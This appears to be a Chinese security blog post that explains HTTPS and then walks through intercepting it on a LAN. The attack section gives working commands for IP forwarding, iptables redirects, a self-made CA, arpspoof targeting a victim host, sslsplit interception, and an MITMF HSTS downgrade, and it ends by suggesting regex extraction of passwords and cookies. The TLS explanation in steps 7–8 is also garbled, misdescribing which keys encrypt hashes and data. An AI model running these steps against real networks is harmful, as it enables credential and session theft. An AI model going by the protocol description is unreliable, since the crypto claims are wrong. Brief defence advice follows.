HTTPS攻击

0x00. HTTPS简介

  超文本传输安全协议(HTTPS)是一种通过计算机网络进行安全通信的传输协议。HTTPS经由HTTP进行通信,但利用SSL/TLS来加密数据包。HTTPS开发的主要目的,是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。


0x01. HTTPS原理

image

1. 首先是建立TCP的三次握手连接,连接建立之后由客户端向浏览器发起https连接请求

2. 连接请求成功之后,client会发送自己所有支持的ciphersuit(包括:对称加密算法、非对称加密算法、单向加密算法、伪随机数算法)给目标server进行加密算法的协商,server会选择他们俩都支持的最安全的ciphersuit进行加密通信

3. 然后server会发送自己的证书到client(证书用于验证server的身份,同时也包含了server的各种注册信息)

4. client在接收到server的证书之后,会验证该证书是否是由本地根证书中所信任的颁发机构颁发的证书

【*】证书里面会有证书颁发机构的私钥签名,只有正确的私钥才能被client保存的公钥解密,这就保证了证书的安全性;证书中还会存在server的公钥,只有拥有私钥的server才能解密公钥加密的内容,这就保证了后续过程的安全性。

5. 验证了证书的合法性之后,client会使用刚才协商的伪随机数算法生成对称密钥,然后将对称密钥通过server的公钥进行加密之后,再发送给server

6. server接收到公钥加密的内容之后,会用自己的私钥进行解密,从而获取对称密钥,此时通信双方都得到了对称密钥就可以进行加密通信了

7. 通信时client会先将数据用对称密钥加密,然后又进行hash计算,然后用server的公钥将得到的hash值进行加密,将该hash值和加密之后的密文发送给server端

【*】hash(private_encrypt(data)) + public_encrypt(hash) –> server

8. server接收到client传来的数据包之后,会先用自己的私钥解密密文得到hash1,然后用hash1与没有加密的hash进行比较,相同则代表传输的数据没有被篡改,然后再用之前协商的单向加密算法解密hash,用对称密钥解密密文得到data

server发送数据过程类似:

【*】hash(private_encrypt(data)) + private_encrypt(hash) –> client


0x02. 攻击原理

image

  1. 首先attacker会对目标进行中间人攻击,从而让流量流经自己的电脑(这与burpsuit的原理根本就是一样的)

  2. 此时client便会与attacker进行https加密通信,server也会与attacker进行https加密通信

  3. 虽然此时进行的是https通信,但是所有的data对于attacker来说都是明文的


0x03. 攻击实战

环境准备

  1. sslsplit、arpspoof

  2. win 7

实战步骤

1. 打开kali的数据包转发功能

echo 1 >> /proc/sys/net/ipv4/ip_forward

2. 设置端口转发(将原本发过来的80、443等端口全部转发到sslsplit的代理端口)

1
2
3
4
5
6
7
8
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443
iptables -t nat -L

3. 利用openssl生成私钥

openssl genrsa -out ca.key 2048

4. 利用私钥签名生成的证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
image

5. 启动arpspoof进行中间人攻击

arpspoof -i eth0 -t 192.168.1.103 -r 192.168.1.1

6. 创建log目录,启动sslsplit

mkdir -p test/logdir

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

image

[*]如果像github这种https配置较好的网站是会提醒用户证书错误的,最近刚出的WPA2漏洞里面欺骗的那个https网站就属于配置有误

7. 剩下的就是用正则匹配出想要的账号密码或者cookie了

8. 当然我们也能用MITMF对HTTPS做降级攻击,这样就能直接捕获明文

iptables -t nat -F

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.103 --hsts

image

[*]方法多种多样,大家还可以尝试其他工具,这里就不一一列举了


0x04. 防御建议

服务端防御

  配置最安全的https

  密码不仅要靠https加密传输,在前端也要使用加密控件对密码进行加密,这样就算被降级攻击也拿不到密码明文

客户端防御

  配置路由规则,绑定IP/MAC以防被ARP欺骗

  谨慎打开浏览器提醒证书错误的网站,但是笔者曾遇到过某部门网站居然都会出现证书报错,不得已还是要打开

  少去蹭网,往往免费的东西才是最贵的

  珍爱生命,远离黑客


0x05. 结语

  本篇文章主要是讲解https的原理,适当的讲了一点实战演示,还是那句话:原理最重要,工具是死的,人是活的。

文章目录
  1. 1. 0x00. HTTPS简介
    1. 1.0.1.   超文本传输安全协议(HTTPS)是一种通过计算机网络进行安全通信的传输协议。HTTPS经由HTTP进行通信,但利用SSL/TLS来加密数据包。HTTPS开发的主要目的,是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。
  • 2. 0x01. HTTPS原理
    1. 2.0.1. 1. 首先是建立TCP的三次握手连接,连接建立之后由客户端向浏览器发起https连接请求
    2. 2.0.2. 2. 连接请求成功之后,client会发送自己所有支持的ciphersuit(包括:对称加密算法、非对称加密算法、单向加密算法、伪随机数算法)给目标server进行加密算法的协商,server会选择他们俩都支持的最安全的ciphersuit进行加密通信
    3. 2.0.3. 3. 然后server会发送自己的证书到client(证书用于验证server的身份,同时也包含了server的各种注册信息)
    4. 2.0.4. 4. client在接收到server的证书之后,会验证该证书是否是由本地根证书中所信任的颁发机构颁发的证书
    5. 2.0.5. 【*】证书里面会有证书颁发机构的私钥签名,只有正确的私钥才能被client保存的公钥解密,这就保证了证书的安全性;证书中还会存在server的公钥,只有拥有私钥的server才能解密公钥加密的内容,这就保证了后续过程的安全性。
    6. 2.0.6. 5. 验证了证书的合法性之后,client会使用刚才协商的伪随机数算法生成对称密钥,然后将对称密钥通过server的公钥进行加密之后,再发送给server
    7. 2.0.7. 6. server接收到公钥加密的内容之后,会用自己的私钥进行解密,从而获取对称密钥,此时通信双方都得到了对称密钥就可以进行加密通信了
    8. 2.0.8. 7. 通信时client会先将数据用对称密钥加密,然后又进行hash计算,然后用server的公钥将得到的hash值进行加密,将该hash值和加密之后的密文发送给server端
    9. 2.0.9. 【*】hash(private_encrypt(data)) + public_encrypt(hash) –> server
    10. 2.0.10. 8. server接收到client传来的数据包之后,会先用自己的私钥解密密文得到hash1,然后用hash1与没有加密的hash进行比较,相同则代表传输的数据没有被篡改,然后再用之前协商的单向加密算法解密hash,用对称密钥解密密文得到data
  • 2.1. server发送数据过程类似:
    1. 2.1.1. 【*】hash(private_encrypt(data)) + private_encrypt(hash) –> client
  • 3. 0x02. 攻击原理
    1. 3.0.1.   1. 首先attacker会对目标进行中间人攻击,从而让流量流经自己的电脑(这与burpsuit的原理根本就是一样的)
    2. 3.0.2.   2. 此时client便会与attacker进行https加密通信,server也会与attacker进行https加密通信
    3. 3.0.3.   3. 虽然此时进行的是https通信,但是所有的data对于attacker来说都是明文的
  • 4. 0x03. 攻击实战
    1. 4.1. 环境准备
      1. 4.1.1.   1. sslsplit、arpspoof
      2. 4.1.2.   2. win 7
    2. 4.2. 实战步骤
    3. 4.3. 1. 打开kali的数据包转发功能
    4. 4.4. 2. 设置端口转发(将原本发过来的80、443等端口全部转发到sslsplit的代理端口)
    5. 4.5. 3. 利用openssl生成私钥
    6. 4.6. 4. 利用私钥签名生成的证书
    7. 4.7. 5. 启动arpspoof进行中间人攻击
    8. 4.8. 6. 创建log目录,启动sslsplit
      1. 4.8.1. [*]如果像github这种https配置较好的网站是会提醒用户证书错误的,最近刚出的WPA2漏洞里面欺骗的那个https网站就属于配置有误
    9. 4.9. 7. 剩下的就是用正则匹配出想要的账号密码或者cookie了
    10. 4.10. 8. 当然我们也能用MITMF对HTTPS做降级攻击,这样就能直接捕获明文
      1. 4.10.1. [*]方法多种多样,大家还可以尝试其他工具,这里就不一一列举了
  • 5. 0x04. 防御建议
    1. 5.1. 服务端防御
      1. 5.1.1.   配置最安全的https
      2. 5.1.2.   密码不仅要靠https加密传输,在前端也要使用加密控件对密码进行加密,这样就算被降级攻击也拿不到密码明文
    2. 5.2. 客户端防御
      1. 5.2.1.   配置路由规则,绑定IP/MAC以防被ARP欺骗
      2. 5.2.2.   谨慎打开浏览器提醒证书错误的网站,但是笔者曾遇到过某部门网站居然都会出现证书报错,不得已还是要打开
      3. 5.2.3.   少去蹭网,往往免费的东西才是最贵的
      4. 5.2.4.   珍爱生命,远离黑客
    3. 5.3. 0x05. 结语
      1. 5.3.1.   本篇文章主要是讲解https的原理,适当的讲了一点实战演示,还是那句话:原理最重要,工具是死的,人是活的。
  • |